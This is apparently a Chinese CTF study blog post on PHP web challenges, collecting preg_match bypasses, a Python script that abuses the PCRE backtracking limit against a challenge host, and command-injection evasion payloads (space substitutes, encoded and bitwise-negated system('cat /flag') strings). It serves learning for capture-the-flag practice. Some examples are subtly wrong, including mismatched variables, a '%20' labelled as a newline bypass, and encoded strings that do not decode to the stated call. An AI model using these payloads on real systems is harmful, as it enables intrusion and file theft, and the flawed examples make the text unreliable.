ctf web基础php

1.preg_match函数绕过

1.数组绕过

<?php
$pass=$_GET['zx'];
if(!preg_match("/admin/",$zx)==false){
	die('hacker');
}
echo 'flag';
?>

?zx[]=admin

2.换行符绕过

<?php
$pass=$_GET['zx'];
if(!preg_match("/^.(admin).$/",$zx)==false){
	die('hacker');
}
echo 'flag';
?>

?zx=%20admin

3.利用PCRE回溯次数限制绕过

function jiuzhe($xdmtql){ 
	return preg_match('/sys.*nb/is',$xdmtql); 
	} 
	
$xdmtql=@$_POST['xdmtql']; 

if(!is_array($xdmtql)){ 
    if(!jiuzhe($xdmtql)){ 
        if(strpos($xdmtql,'sys nb')!==false){ 
            echo 'flag{*******}'; 
        }else{ 
            echo 'true .swp file?'; 
        } 
    }else{
        echo 'nijilenijile';
    } 
}

这里is_arry过滤数组 

import requests
url='http://80b45bdd-e6de-4193-bc46-58bb19fc477f.www.polarctf.com:8090/'
data={'xdmtql':'sys nb'+"aaaaa" * 1000000}
r= requests.post(url=url,data=data)
print(r.text)

2.rce

1.找未过滤字符

1.命令执行函数

system() - 执行命令,返回最后一条命令输出
exec() - 执行命令,返回命令全部输出
shell_exec() - 通过shell执行命令,返回全部输出
passthru() - 执行命令,输出原始返回值
popen() - 打开管道执行命令

2.读取文件命令

cat -读取文件内容并输出
more - 分屏显示文件内容
less - 分页方式读取文件内容
head - 输出文件头部内容
tac - 从最后一行开始反向输出文件内容
tail - 输出文件尾部内容
nl - 输出行号和内容
od - 以二进制的方式读取档案内容
hd/hexdump - 以十六进制显示文件内容
strings - 输出二进制文件中的可打印字符串
sort - 对文本文件中的行进行排序
uniq - 去除文本文件中的重复行

、

3.空格替代

<
<>
${IFS}
$IFS
%20(space)
%09(tab)
$IFS$9
$IFS$1

2.字符串转义绕过

字符串转义绕过
适用PHP版本:PHP>=7
\x73\x79\x73\x74\x65\x6d\x27\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29;
#system('cat /flag') \x表示16进制
;
\163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51
#system('cat /flag'); \8进制
\u{115}\u{121}\u{115}\u{116}\u{101}\u{109}\u{40}\u{39}\u{99}\u{97}\u{116}\u{32}\u{47}\u{102}\u{108}\u{97}\u{103}\u{39}\u{41}
;#system('cat /flag');
\163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51("\167\150\157\141\155\151")
#system('cat /flag');

3.取反

<?php
var_dump(urlencode(~"system"));
var_dump(urlencode(~"cat /flag"));
?>

string(18) "%8C%86%8C%8B%9A%92"
string(27) "%9C%9E%8B%DF%D0%99%93%9E%98"

xdmtql=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值